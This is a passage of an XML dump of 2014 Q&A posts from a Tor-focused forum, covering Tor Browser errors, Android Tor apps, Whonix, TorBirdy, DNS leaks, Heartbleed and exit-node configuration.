  <row Id="1896" PostTypeId="2" ParentId="1655" CreationDate="2014-04-10T08:15:40.980" Score="1" Body="&lt;p&gt;You could try multiple VPN services to see if one works, but it could end up being blocked at any point. If accessing these sites matters enough to you, setting up your own VPN on a VPS in Japan (ideally from a popular Japan-based company) might be worth the trouble and money.&lt;/p&gt;&#xA;" OwnerUserId="1551" LastActivityDate="2014-04-10T08:15:40.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1897" PostTypeId="1" AcceptedAnswerId="1898" CreationDate="2014-04-10T13:00:28.333" Score="0" ViewCount="58" Body="&lt;p&gt;I got this error once when I tried to open particular site : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;XML Parsing Error: unexpected parser state&lt;br /&gt;&#xA;  Location: jar:file:*///home/USERNAME/tor-browser_en-US/*tor-browser_en-US%203.5.4/Browser/omni.ja!/chrome/toolkit/content/global/netError.xhtml&lt;br /&gt;&#xA;  Line Number 304, Column 68:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is the directory address /home/&lt;em&gt;USERNAME&lt;/em&gt;/ is revealed to a website or not, when www browsing with Tor Browser Bundle?  &lt;/p&gt;&#xA;" OwnerUserId="1552" LastEditorUserId="88" LastEditDate="2014-04-10T13:44:27.217" LastActivityDate="2014-04-10T13:51:19.403" Title="Does TBB reveal its file directory address to websites?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1898" PostTypeId="2" ParentId="1897" CreationDate="2014-04-10T13:51:19.403" Score="0" Body="&lt;p&gt;This bug is &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=569229&quot; rel=&quot;nofollow&quot;&gt;#569229&lt;/a&gt; in Mozilla's bugtracker. The Tor Project has &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8842&quot; rel=&quot;nofollow&quot;&gt;trac entry #8842&lt;/a&gt; which deals with the problem. Both only discuss the bug and don't provide a solution yet. From what I see and interpret this message is only sent to you and informs you about a local problem. Some comments in the Mozilla bugtracker suggest that the errors occurs when there are DNS problems or when the PC goes to sleep mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is a local problem and the website doesn't see this particular error message.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-04-10T13:51:19.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1900" PostTypeId="2" ParentId="1870" CreationDate="2014-04-10T17:20:17.110" Score="2" Body="&lt;p&gt;No, currently there is no way to use Tor on Firefox OS based phones, because there is no way to run the Tor program on Firefox OS. But it might be possible in the future, though no projects are working on it right now&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We've &lt;em&gt;[Guardian Project]&lt;/em&gt; talked to Mozilla multiple times about this possibility. They&#xA;  even invited us to a special event in Mountain View around a &quot;secure&#xA;  Firefox phone&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The main issue is that they don't want to allow native binaries to run&#xA;  on the device as part of apps themselves. We can easily write an&#xA;  HTML/JS controller GUI, aka OrbotHTML, but we can't bundle in a native&#xA;  Tor arm binary into that app, apparently.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;source: Nathan Frietas, Orbot developer &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2013-July/028740.html&quot; rel=&quot;nofollow&quot;&gt;Jul 2013, Tor-talk mailing list&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, there is now a &lt;a href=&quot;https://github.com/Ayms/node-Tor&quot; rel=&quot;nofollow&quot;&gt;Javascript implementation of Tor&lt;/a&gt; that could potentially be ported to Firefox OS, but there are currently no plans in progress to do so.&lt;/p&gt;&#xA;" OwnerUserId="1555" LastEditorUserId="923" LastEditDate="2014-04-11T13:00:23.487" LastActivityDate="2014-04-11T13:00:23.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1901" PostTypeId="2" ParentId="1753" CreationDate="2014-04-10T18:00:21.237" Score="2" Body="&lt;p&gt;This isn't possible in Orweb. It is a very basic browse that lacks features like saving images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be able to do this there are two possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Firefox Mobile and configure it using our &lt;a href=&quot;https://guardianproject.info/apps/firefoxprivacy/&quot; rel=&quot;nofollow&quot;&gt;Privacy Enhanced&lt;/a&gt; instructions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try the development builds of our new Firefox-based secure browser, named &lt;a href=&quot;https://guardianproject.info/builds/Orfox/latest/&quot; rel=&quot;nofollow&quot;&gt;Orfox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is development/debug grade technology and has not been fully tested!&lt;/em&gt; &lt;strong&gt;Do not use for strong anonymity or security&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1555" LastEditorUserId="88" LastEditDate="2014-05-20T08:54:22.960" LastActivityDate="2014-05-20T08:54:22.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1902" PostTypeId="2" ParentId="1394" CreationDate="2014-04-10T18:03:15.673" Score="2" Body="&lt;p&gt;No, utorrent won't work with Orbot if you do not use root. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;incoming port&lt;/code&gt; option will not configure utorrent to use the Orbot proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just looked through the settings of utorrent and there appears to be no proxy settings, so unless you use the transparent proxy feature of Orbot (which requires root) utorrent's traffic can't be routed through tor.&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2014-04-10T18:03:15.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1903" PostTypeId="2" ParentId="1570" CreationDate="2014-04-10T18:14:00.943" Score="1" Body="&lt;p&gt;For the record this was fixed in Orweb 0.5.2:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://guardianproject.info/releases/Orweb-release-0.5.2.apk&quot; rel=&quot;nofollow&quot;&gt;https://guardianproject.info/releases/Orweb-release-0.5.2.apk&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://guardianproject.info/releases/Orweb-release-0.5.2.apk.asc&quot; rel=&quot;nofollow&quot;&gt;https://guardianproject.info/releases/Orweb-release-0.5.2.apk.asc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2014-04-10T18:14:00.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1904" PostTypeId="2" ParentId="1892" CreationDate="2014-04-10T19:38:22.857" Score="2" Body="&lt;p&gt;Despite setting the SOCKS5 proxy in Firefox, I could not view web pages blocked in my country because Firefox was still doing DNS lookup out of my router, rather than through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Asking on the tor-relays mailing list, I learned this solution. Type &quot;about:config&quot; in the address bar, and hit enter. Search for the item &quot;network.proxy.socks_remote_dns&quot; and set its value as true. That directs DNS lookup through Tor.&lt;/p&gt;&#xA;" OwnerUserId="1557" LastEditorUserId="100" LastEditDate="2014-07-25T06:11:37.447" LastActivityDate="2014-07-25T06:11:37.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1905" PostTypeId="1" CreationDate="2014-04-10T20:30:35.207" Score="2" ViewCount="1617" Body="&lt;p&gt;I keep getting the browser is out of date message even tho I click on the onion, download the latest Tor Bundle &amp;amp; install it.  Any suggestions?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking because I sometimes have an issue with the browser.  For ex. I am on citibank.com, walmart.com or homedepot.com, I can log in, then I click on an item &amp;amp; the page goes blank or I get a message that I don't have permission to access the site from this server.  When I try to log back in I'm blocked.  So... hoping it might have something to do with the browser &amp;amp; not because I'm using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I shouldn't be getting that message after I've installed the lastest bundle.&lt;/p&gt;&#xA;" OwnerUserId="1558" LastActivityDate="2018-06-17T18:03:04.667" Title="&quot;HOWEVER, this browser is out of date&quot;" Tags="|tor-browser-bundle|firefox|browsers|update|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1906" PostTypeId="2" ParentId="75" CreationDate="2014-04-10T23:11:58.417" Score="1" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; (after Roger Dingledine's comment):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, &lt;em&gt;do not use the &quot;--enable-bufferevents&quot; feature for stable installations&lt;/em&gt;. It's not mature yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The --enable-bufferevents option has not ever worked. It is a partial feature that needs somebody to finish it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure --disable-asciidoc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From changelog:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor can now optionally build with the &quot;bufferevents&quot; buffered IO&#xA;        backend provided by Libevent 2. To use this feature, make sure you&#xA;        have the latest possible version of Libevent, and pass the&#xA;        --enable-bufferevents flag to configure when building Tor from&#xA;        source. This feature will make our networking code more flexible,&#xA;        let us stack layers on each other, and let us use more efficient&#xA;        zero-copy transports where available.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="495" LastEditorUserId="923" LastEditDate="2014-09-25T01:31:19.017" LastActivityDate="2014-09-25T01:31:19.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1907" PostTypeId="2" ParentId="1905" CreationDate="2014-04-11T01:17:35.767" Score="1" Body="&lt;p&gt;click on [Help] and select [About], and see if you are actually running the latest version. it's possible you installed the newer version to a different directory, and your start menu link isn't pointing to it. in that case you need to find out where it did install the newest version, and edit your start menu to point to it. this works differently with different operating systems (and versions/distributions of operating systems). you can find the newer version by doing a search for firefox.exe (windows), firefox-bin (linux and mac), look at the details like the file dates, and determine where the newest one is.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-04-11T01:17:35.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1908" PostTypeId="1" CreationDate="2014-04-11T06:12:08.180" Score="1" ViewCount="1072" Body="&lt;p&gt;I just used Virtualbox and whonix gateway and workstation and here is what I got when I tried to start tor browser bundle (it doesn't exist):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DJKYw.png&quot; alt=&quot;screenshot of Whonix inside Virtualbox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I want to start TBB, it pushed me to make update but then it says TBB doesn't exist. in any case, update or installation was slow, so, I decided to use advtor. I lost 30 minutes just to import whonix and to start it.&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="88" LastEditDate="2014-04-11T09:41:32.400" LastActivityDate="2014-04-24T02:34:17.597" Title="whonix, TBB doesn't exist?" Tags="|tor-browser-bundle|whonix|virtualisation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1910" PostTypeId="5" CreationDate="2014-04-11T09:24:26.080" Score="0" Body="&lt;p&gt;Qubes is an open-source operating system designed to provide strong security for desktop computing. Qubes is based on Xen, the X Window System, and Linux, and can run most Linux applications and utilize most of the Linux drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor users might be interested in Qubes due to its strong security properties, and when combined with qubes-tor or TorVM, easy transparent proxying of entire virtual machines through tor.&lt;/p&gt;&#xA;" OwnerUserId="1555" LastEditorUserId="1555" LastEditDate="2014-04-11T09:42:00.440" LastActivityDate="2014-04-11T09:42:00.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1911" PostTypeId="4" CreationDate="2014-04-11T09:24:26.080" Score="0" Body="Qubes is an open-source operating system designed to provide strong security for desktop computing. " OwnerUserId="1555" LastEditorUserId="1555" LastEditDate="2014-04-11T09:42:10.993" LastActivityDate="2014-04-11T09:42:10.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1912" PostTypeId="5" CreationDate="2014-04-11T09:26:05.940" Score="0" Body="&lt;p&gt;Qubes is an open-source operating system designed to provide strong security for desktop computing.&lt;/p&gt;&#xA;" OwnerUserId="1555" LastEditorUserId="1555" LastEditDate="2014-04-11T09:42:07.667" LastActivityDate="2014-04-11T09:42:07.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1913" PostTypeId="4" CreationDate="2014-04-11T09:26:05.940" Score="0" Body="TorVM is a feature for the Qubes operating system that allows for virtual machines to be transparently proxied through Tor." OwnerUserId="1555" LastEditorUserId="1555" LastEditDate="2014-04-11T09:42:04.513" LastActivityDate="2014-04-11T09:42:04.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1915" PostTypeId="2" ParentId="1908" CreationDate="2014-04-11T13:30:16.617" Score="3" Body="&lt;p&gt;This is expected. Newer Whonix versions do not come with Tor Browser installed by default. By the time one install Whonix, the default installed version would be most likely outdated, so downloading the most recent one is advised. Also for &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10888&quot; rel=&quot;nofollow&quot;&gt;legal/trademark reasons&lt;/a&gt;, it's safer not installing Tor Browser by default and letting the user download it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;decided to use advtor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I recommend against &lt;a href=&quot;http://sourceforge.net/projects/advtor/&quot; rel=&quot;nofollow&quot;&gt;AdvOR&lt;/a&gt;, the &quot;Advanced&quot; Onion Router. Reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No interest from the research community.&lt;/li&gt;&#xA;&lt;li&gt;No source control, i.e. git.&lt;/li&gt;&#xA;&lt;li&gt;Licensing issues (See Nick Mathewson's (Tor's Chief Architect) analysis below.)&lt;/li&gt;&#xA;&lt;li&gt;Absence in the Tor community.&lt;/li&gt;&#xA;&lt;li&gt;No Linux support.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://archives.seul.org/or/talk/Oct-2010/msg00026.html&quot; rel=&quot;nofollow&quot;&gt;The Nick Mathewson's (Tor's Chief Architect) analysis and recommends against.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you don't like Whonix, it'd rather advice to look into Tor Browser Bundle or Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: &lt;br /&gt;&#xA;I am a maintainer of Whonix.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-04-11T13:30:16.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1916" PostTypeId="1" CreationDate="2014-04-11T13:35:50.440" Score="2" ViewCount="474" Body="&lt;p&gt;I tried using Chrome to connect to torproject.org but got the &quot;website couldn't make a secure connection...&quot; page. everytime I visit the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After using tor I can connect fine, so should I be concerned about my online privacy? If someone is living around me dedicated to hacking my wifi and watching my internet is there a way to tell and what does it take to do that hardware/software wise? Is there anything else I can do other than use tor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do using sites without HTTPS jeopardize my anonymity? What about gmail/hotmail/yahoo mail? &lt;/p&gt;&#xA;" OwnerUserId="1567" LastActivityDate="2014-06-23T15:16:20.310" Title="Is my privacy safe with Tor?" Tags="|anonymity|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1917" PostTypeId="2" ParentId="1916" CreationDate="2014-04-11T14:16:28.603" Score="1" Body="&lt;p&gt;If someone breaks into your wireless and you do not have a very secure computer he could try to compromise your computer an try to manipulate the Tor software itself in which case its game over for your privacy/anonymity anyways since he could install a RAT/keylogger on your device.&#xA;Tor itself also has vulnerabilities since the internet is designed in a way that makes real anonymity impossible. For example, the NSA has started hosting Tor entry/exit nodes and using time corelation to find your true IP adress. However, the percentage of such exit nodes is fairly low, so it is pretty much a gamble whether you get a good or evil entry/exit node. &#xA;   As for using unsecure sites if you are on a compromised/unencrypted network people can see what ypu are doing without even having to be connected to the network.&#xA;   Hardware/software wise cracking wifi with weak encryption only takes a laptop with any linux distribution. There is no way other than encryption to stop/detect passive sniffing (when the attacker only uses a wireless card in monitor mode to passively receive signals) but if the attacker is actively transmitting you could try to pinpoint his location using triangulation and hit him with a crowbar or something. As for defenses the best defense is to not use wireless, but many devices do not support networking cables so the next best thing is to use WPA enterprise encryption, however that takes some knowledge so its probably best to not use WEP encryption and turn off WPS as that poses a security vulnerability.&lt;/p&gt;&#xA;" OwnerUserId="1568" LastEditorUserId="923" LastEditDate="2014-06-23T15:16:20.310" LastActivityDate="2014-06-23T15:16:20.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1918" PostTypeId="2" ParentId="1916" CreationDate="2014-04-11T14:43:58.447" Score="1" Body="&lt;p&gt;Also if you are extra paranoid buy a used computer with cash so you domt leave a money trail behind, then burn an anonimity centered linux live cd  (I think there was one called &quot;tails&quot;) which tunnels everything through Tor by default and does not leave anything behind on the hard drive. If you are not that paranoid it also helps to use the tor browser bundle instead of chrome and running an up to date operating system.&lt;/p&gt;&#xA;" OwnerUserId="1569" LastActivityDate="2014-04-11T14:43:58.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1919" PostTypeId="1" AcceptedAnswerId="1921" CreationDate="2014-04-11T16:07:20.690" Score="0" ViewCount="480" Body="&lt;p&gt;I read about torbirdy addon for Thunderbird, but it's still in Beta. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I read, found out how to setup setup SOCKS proxy in Thunderbird, and enable remote DNS resolution to avoid DNS leaks, why exactly do I need Torbirdy? &lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2014-04-11T21:57:14.093" Title="Why need Torbirdy when Thunderbird supports SOCKS proxy and Remote DNS" Tags="|torbirdy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1920" PostTypeId="2" ParentId="1916" CreationDate="2014-04-11T21:51:12.343" Score="1" Body="&lt;p&gt;If the site does not use HTTPS a rogue exit node could try to alter the site before delivering it to you, for example adding javascript that sends your loginn information to a server controlled by the  attacker.&#xA;This basically means unless the site makes you enter sensitive information such as passwords it is more likely to be used as a way to smuggle rogue scripts into your browser instead of being eavesdroped on.&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2014-04-11T21:51:12.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1921" PostTypeId="2" ParentId="1919" CreationDate="2014-04-11T21:57:14.093" Score="0" Body="&lt;p&gt;TorBirdy does not simply set proxy settings in Thunderbird, but does quite a few &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/torbirdy/changes&quot; rel=&quot;nofollow&quot;&gt;changes&lt;/a&gt;. Some additional things which the plugin does are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set the timezone to UTC (prevents revealing your timezone)&lt;/li&gt;&#xA;&lt;li&gt;disable IMAP &lt;code&gt;IDLE&lt;/code&gt; command&lt;/li&gt;&#xA;&lt;li&gt;use a hidden service as keyserver for GnuPG&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So in general TorBirdy tries to save you from attacks against your privacy/anonymity. Have a look at the &lt;a href=&quot;https://trac.torproject.org/projects/tor/attachment/wiki/doc/TorifyHOWTO/EMail/Thunderbird/Thunderbird+Tor.pdf&quot; rel=&quot;nofollow&quot;&gt;design goals&lt;/a&gt;. This documents describes it more in detail.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-04-11T21:57:14.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1922" PostTypeId="2" ParentId="1862" CreationDate="2014-04-11T23:19:25.823" Score="1" Body="&lt;p&gt;As long as you don't have any DNS leaks, which should be okay if you're using the recommended settings from the tor browser pack (though can happen in flash and other porn-friendly technologies) you should be okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#WarningsAboutSOCKSandDNSInformationLeaks&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#WarningsAboutSOCKSandDNSInformationLeaks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1510" LastActivityDate="2014-04-11T23:19:25.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1923" PostTypeId="2" ParentId="1883" CreationDate="2014-04-11T23:27:52.723" Score="1" Body="&lt;p&gt;There are lots of RBLs for tor.  Here's one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dan.me.uk/dnsbl&quot; rel=&quot;nofollow&quot;&gt;https://www.dan.me.uk/dnsbl&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can avoid being RBL'd by not running an exit node on the same IP as the rest of your traffic.  That's pretty much your only option.&lt;/p&gt;&#xA;" OwnerUserId="1510" LastActivityDate="2014-04-11T23:27:52.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1924" PostTypeId="1" AcceptedAnswerId="2136" CreationDate="2014-04-12T00:22:15.690" Score="0" ViewCount="44" Body="&lt;p&gt;I am running Tails Version 0.22, and I have noticed that the Tails home page sometines loads before Tails. I am led to conclude this because the Tor icon is still yellow and it shows as still loading and the control panel shows the same when I check it. Why is this happening, how can I prevent it, and what kind of new vulnerabilties is it creating?&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-05-20T12:54:13.537" Title="Why do pages appear to be loading on Tails before Tor is finished connecting?" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1925" PostTypeId="1" CreationDate="2014-04-12T05:54:33.870" Score="0" ViewCount="1328" Body="&lt;p&gt;I wanna use KSA IP address on exitnodes at Tor Browser. Can anybody locate the KSA Fingerprints for IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need Urgent Reply.&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2014-04-12T14:01:16.703" Title="I need ExitNodes For Kingdom of Saudi Arabia on Tor Browser" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1926" PostTypeId="1" CreationDate="2014-04-12T12:41:40.837" Score="4" ViewCount="206" Body="&lt;p&gt;If I am using a Tor version that is infected with SSL Heartbleed (CVE-2014-0092)  Can someone read my hall 2GiB ram? Or is the damage limited to the memory already allocated to the SSL process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: if I copied sensitive document from Ms Word (CTRL+C) (Now sensitive data is plaintext in RAM), while my system is running vulnerable version of Tor, can a hacker get the sensitive plaintext from the Word allocated memory using the SSL Heartbleed?&lt;/p&gt;&#xA;" OwnerUserId="1571" LastEditorUserId="88" LastEditDate="2014-04-29T16:34:59.153" LastActivityDate="2014-08-31T13:09:10.657" Title="Can Heartbleed in connection with Tor read all my 2GiB ram, or it is limited to the memory already allocated to the SSL process?" Tags="|tor-browser-bundle|security|ssl|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1927" PostTypeId="2" ParentId="1925" CreationDate="2014-04-12T13:14:50.743" Score="1" Body="&lt;p&gt;try TO ADD this to the end of Torcc file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#-----------------&#xA;    #ExitNodes {sa}&#xA;    StrictNodes 1&#xA;#-----------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can change &quot;sa&quot; with any country code from this table:&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/ISO_3166-2&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/ISO_3166-2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: middle East Node are operated by innocent inexpert individuals, so the will be too slow, and &lt;strong&gt;in many case&lt;/strong&gt; they cannot handle a problems they ma face due to running a tor relay in dictator's  country. so avoid using such exit node for political reason in order not to harm any one.&lt;/p&gt;&#xA;" OwnerUserId="1571" LastEditorUserId="1571" LastEditDate="2014-04-12T14:01:16.703" LastActivityDate="2014-04-12T14:01:16.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1928" PostTypeId="2" ParentId="1685" CreationDate="2014-04-12T13:55:58.180" Score="1" Body="&lt;p&gt;You wouldn't &quot;use firefox like normal&quot;, what you do is download and install the Tor Browser Bundle and then start Tor Browser. (The Tor Browser is &lt;em&gt;based on&lt;/em&gt; Firefox and so it looks similar, but it's not the normal Firefox you may already have installed on your system).&lt;/p&gt;&#xA;" OwnerUserId="1572" LastActivityDate="2014-04-12T13:55:58.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1929" PostTypeId="1" AcceptedAnswerId="1934" CreationDate="2014-04-12T14:48:22.520" Score="5" ViewCount="1735" Body="&lt;p&gt;I read : documents should not be opened when tor running. But Tor browser bundle opens .pdf links right away in new tab using pdf.js in firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is doing that safe? Or should I disable pdf.js from about:config settings of the TBB?&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2014-04-15T19:16:16.347" Title="pdf files opening on new tab on-click, is it safe?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1930" PostTypeId="2" ParentId="1926" CreationDate="2014-04-12T19:39:24.300" Score="0" Body="&lt;p&gt;It's memory allocated to the process that uses the OpenSSL library. Note that in TBB, the browser is not vulnerable itself, but, if I understand correctly, the Onion Proxy could be exploited by a compromised guard.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-04-12T19:39:24.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1931" PostTypeId="1" CreationDate="2014-04-12T21:36:47.790" Score="1" ViewCount="288" Body="&lt;p&gt;What means that the tor router (in this list) is not mark as &quot;exit&quot;? And is it still possible to contact other onion nodes directly through it (e.g. such that it'd be the node directly preceding the one you want to dial through .onion address)?&lt;/p&gt;&#xA;" OwnerUserId="1573" LastEditorUserId="88" LastEditDate="2014-04-24T22:03:48.183" LastActivityDate="2014-04-24T22:03:48.183" Title="Non-&quot;Exit&quot; nodes and inner-onion connections" Tags="|onion-services|exit-relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1932" PostTypeId="1" AcceptedAnswerId="1938" CreationDate="2014-04-13T06:19:49.393" Score="1" ViewCount="432" Body="&lt;p&gt;I'm new to Tor, So I read the Short User Manual &lt;a href=&quot;https://www.torproject.org/dist/manual/short-user-manual_en.xhtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this image in the link above, I understand Tor on my local machine  encrypts everything thrice, what about the return path? Does the exit node encrypt thrice and the everything in the path does everything in reverse of this picture? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PVWiX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2014-04-15T04:38:15.717" Title="Does exit node encrypt three times for the return path to local machine?" Tags="|exit-relays|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1933" PostTypeId="2" ParentId="1882" CreationDate="2014-04-13T14:13:40.147" Score="3" Body="&lt;p&gt;There are way too many connections on a default Windows system and since Windows is closed source, you cannot fully trust it to not establish any other connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 simple ideas:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The easiest and should be used regardless of any additional firewalls: Use PeerBlock. Simply create three lists, one for blocking all IPs with a single 0.0.0.0-255.255.255.255 range. The other two will be for allowing connections, one for a Tor relay list, the other for other whitelisted IPs that you prefer or which are required for internet connection.&lt;/li&gt;&#xA;&lt;li&gt;Use a physical or virtual router to whitelist Tor IPs while blocking everything else. I would suggest a cheap physical router that you can install an open source firmware. The other idea is to have a virtual router which I didn't try because it would still not be secure (closed-source Windows) and it would require more system resources. Here is a tutorial which could work: &lt;a href=&quot;http://timita.org/wordpress/2011/07/29/protect-your-windows-laptop-with-pfsense-and-virtualbox-part-1-preamble/&quot; rel=&quot;nofollow&quot;&gt;http://timita.org/wordpress/2011/07/29/protect-your-windows-laptop-with-pfsense-and-virtualbox-part-1-preamble/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In order to whitelist Tor IPs, there are some websites providing Tor relay lists. You may need to use other tools to convert these lists to be used on PeerBlock or on your router. Also, you may have to regularly update your lists, though it would work a long time without updates.&lt;/p&gt;&#xA;" OwnerUserId="1575" 